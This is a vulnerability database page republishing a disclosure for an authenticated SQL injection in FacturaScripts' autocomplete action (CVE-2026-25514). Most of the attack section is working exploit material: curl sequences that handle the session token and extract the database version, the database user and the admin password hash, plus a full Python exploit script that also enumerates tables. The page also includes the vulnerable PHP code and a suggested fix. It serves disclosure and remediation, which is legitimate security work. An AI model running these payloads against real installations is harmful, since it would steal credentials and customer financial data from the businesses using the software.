Lucene search
K

📄 FacturaScripts SQL Injection

🗓️ 13 Apr 2026 00:00:00Reported by Łukasz RybakType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 61 Views

FacturaScripts has a critical SQL injection in autocomplete via CodeModel::all(), exposing data.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Facturascripts
11 Apr 202619:14
githubexploit
ATTACKERKB
CVE-2026-25514
4 Feb 202619:59
attackerkb
Circl
CVE-2026-25514
3 Feb 202610:38
circl
CNNVD
FacturaScripts 安全漏洞
4 Feb 202600:00
cnnvd
CVE
CVE-2026-25514
4 Feb 202619:59
cve
Cvelist
CVE-2026-25514 FacturaScripts has SQL Injection vulnerability in Autocomplete Actions
4 Feb 202619:59
cvelist
EUVD
EUVD-2026-5360
4 Feb 202619:59
euvd
EUVD
EUVD-2026-6094
16 Feb 202612:30
euvd
Github Security Blog
FacturaScripts has SQL Injection in Autocomplete Actions
3 Feb 202618:17
github
NVD
CVE-2026-25514
4 Feb 202620:16
nvd
Rows per page
# CVE-2026-25514: FacturaScripts has SQL Injection in Autocomplete Actions
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2026-25514](https://nvd.nist.gov/vuln/detail/CVE-2026-25514) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **facturascripts/facturascripts** (versions: < 2025.81)
    
    
    ## CWE Classification
    
    - CWE-20: Improper Input Validation
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    - CWE-943: Improper Neutralization of Special Elements in Data Query Logic
    
    ## Details
    
    ### Summary
    **FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.
    
    ---
    
    ### Details
    
    Multiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.
    
    #### Vulnerable Code Location
    
    **File:** `/Core/Model/CodeModel.php`
    **Method:** `all()`
    **Lines:** 108-109
    
    ```php
    public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
    {
        // ......
    
        // VULNERABLE CODE:
        $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
            . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
        foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
            $result[] = new static($row);
        }
    
        return $result;
    }
    ```
    
    #### Vulnerable Parameters
    
    The following parameters are vulnerable to SQL injection:
    
    1. **`source`** → Maps to `$tableName` - Table name injection
    2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection
    3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)
    
    #### Attack Flow
    
    1. Attacker authenticates with valid credentials (any user role)
    2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`
    3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter
    4. Application executes the injected SQL and returns results in JSON format
    5. Attacker extracts sensitive data from the database
    
    ---
    
    ### Proof of Concept (PoC)
    
    #### Prerequisites
    - Valid authentication credentials (admin/admin in test instance)
    - Access to FacturaScripts web interface
    
    #### Step-by-Step Manual Exploitation (CLI)
    
    Since FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.
    
    **1. Obtain initial token and session cookie:**
    FacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.
    ```bash
    TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    echo $TOKEN
    ```
    
    **2. Authenticate (Login):**
    Use the saved cookie and the token to log in.
    ```bash
    curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
      -d "fsNick=admin" \
      -d "fsPassword=admin" \
      -d "action=login" \
      -d "multireqtoken=$TOKEN"
    ```
    
    **3. Extract Database Version:**
    Obtain a fresh token for the next request and execute the injection.
    ```bash
    # Get fresh token
    TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    
    # Execute SQLi
    curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
      -d "action=autocomplete" \
      -d "source=users" \
      -d "fieldcode=nick" \
      -d "fieldtitle=version()" \
      -d "term=admin" \
      -d "multireqtoken=$TOKEN"
    ```
    
    **4. Extract Database User and Name:**
    ```bash
    # Get fresh token
    TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    
    # Execute SQLi
    curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
      -d "action=autocomplete" \
      -d "source=users" \
      -d "fieldcode=nick" \
      -d "fieldtitle=concat(user(),' @ ',database())" \
      -d "term=admin" \
      -d "multireqtoken=$TOKEN"
    ```
    
    **5. Extract Admin Password Hash:**
    ```bash
    # Get fresh token
    TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    
    # Execute SQLi
    curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
      -d "action=autocomplete" \
      -d "source=users" \
      -d "fieldcode=nick" \
      -d "fieldtitle=password" \
      -d "term=admin" \
      -d "multireqtoken=$TOKEN"
    ```
    
    #### Automated Exploitation Script
    
    ```python
    #!/usr/bin/env python3
    """
    FacturaScripts SQL Injection Exploit - Autocomplete
    Author: Łukasz Rybak
    """
    
    import requests
    import re
    import json
    
    # Configuration
    BASE_URL = "http://localhost:8091"
    USERNAME = "admin"
    PASSWORD = "admin"
    
    session = requests.Session()
    
    def get_csrf_token(url):
        """Extract CSRF token from page"""
        response = session.get(url)
        match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
        return match.group(1) if match else None
    
    def login():
        """Authenticate to FacturaScripts"""
        print(f"[*] Logging in as {USERNAME}...")
        token = get_csrf_token(f"{BASE_URL}/login")
        if not token:
            print("[!] Failed to get CSRF token")
            exit()
    
        data = {
            "multireqtoken": token,
            "action": "login",
            "fsNick": USERNAME,
            "fsPassword": PASSWORD
        }
        response = session.post(f"{BASE_URL}/login", data=data)
    
        if "Dashboard" not in response.text:
            print("[!] Login failed!")
            exit()
        print("[+] Successfully logged in.")
    
    def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
        """Execute SQL injection through autocomplete"""
        data = {
            "action": "autocomplete",
            "source": source,
            "fieldcode": field_code,
            "fieldtitle": field_payload,
            "term": term
        }
        response = session.post(f"{BASE_URL}/CopyModel", data=data)
        try:
            return response.json()
        except:
            return None
    
    def main():
        login()
    
        print("\n" + "="*60)
        print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
        print("="*60 + "\n")
    
        # 1. Database version
        print("[*] Extracting database version...")
        res = exploit_sqli("version()")
        if res:
            print(f"[+] Database Version: {res[0]['value']}")
    
        # 2. Current user and database
        print("[*] Extracting DB user and database name...")
        res = exploit_sqli("concat(user(),' @ ',database())")
        if res:
            print(f"[+] DB User @ Database: {res[0]['value']}")
    
        # 3. Admin password hash
        print("[*] Extracting admin password hash...")
        res = exploit_sqli("password", term="admin")
        if res:
            print(f"[+] Admin Password Hash: {res[0]['value']}")
    
        # 4. All table names
        print("[*] Extracting table names...")
        res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
        if res:
            print(f"[+] Tables: {res[0]['value']}")
    
        print("\n[+] Exploitation complete!")
    
    if __name__ == "__main__":
        main()
    ```
    <img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />
    
    ---
    
    ### Impact
    
    This SQL injection vulnerability has **CRITICAL** impact:
    
    #### Data Confidentiality
    - **Complete database disclosure** - Attacker can extract all data including:
      - User credentials (password hashes)
      - Customer information (names, addresses, tax IDs, etc.)
      - Financial records (invoices, payments, bank details)
      - Business logic and configuration data
      - Plugin and system settings
    
    #### Who is Impacted?
    - **All FacturaScripts installations** running vulnerable versions
    - **All authenticated users** can exploit (not just admins)
    - **Businesses using FacturaScripts** for accounting/invoicing
    - **Customers whose data is stored** in the system
    
    ---
    
    ### Recommended Fix
    
    #### Immediate Remediation
    
    **Option 1: Use Prepared Statements**
    
    ```php
    // File: Core/Model/CodeModel.php
    // Method: all()
    
    public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
    {
        // ... validation code ...
    
        // Validate and escape identifiers
        $safeTableName = self::db()->escapeColumn($tableName);
        $safeFieldCode = self::db()->escapeColumn($fieldCode);
        $safeFieldDescription = self::db()->escapeColumn($fieldDescription);
    
        // Use parameterized query
        $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
            . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    
        foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
            $result[] = new static($row);
        }
    
        return $result;
    }
    ```
    ### Credits
    
    **Discovered by:** Łukasz Rybak
    
    ## References
    
    - https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
    - https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25514
    - https://github.com/advisories/GHSA-pqqg-5f4f-8952
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.18.8
CVSS 48.7
EPSS0.00025
SSVC
61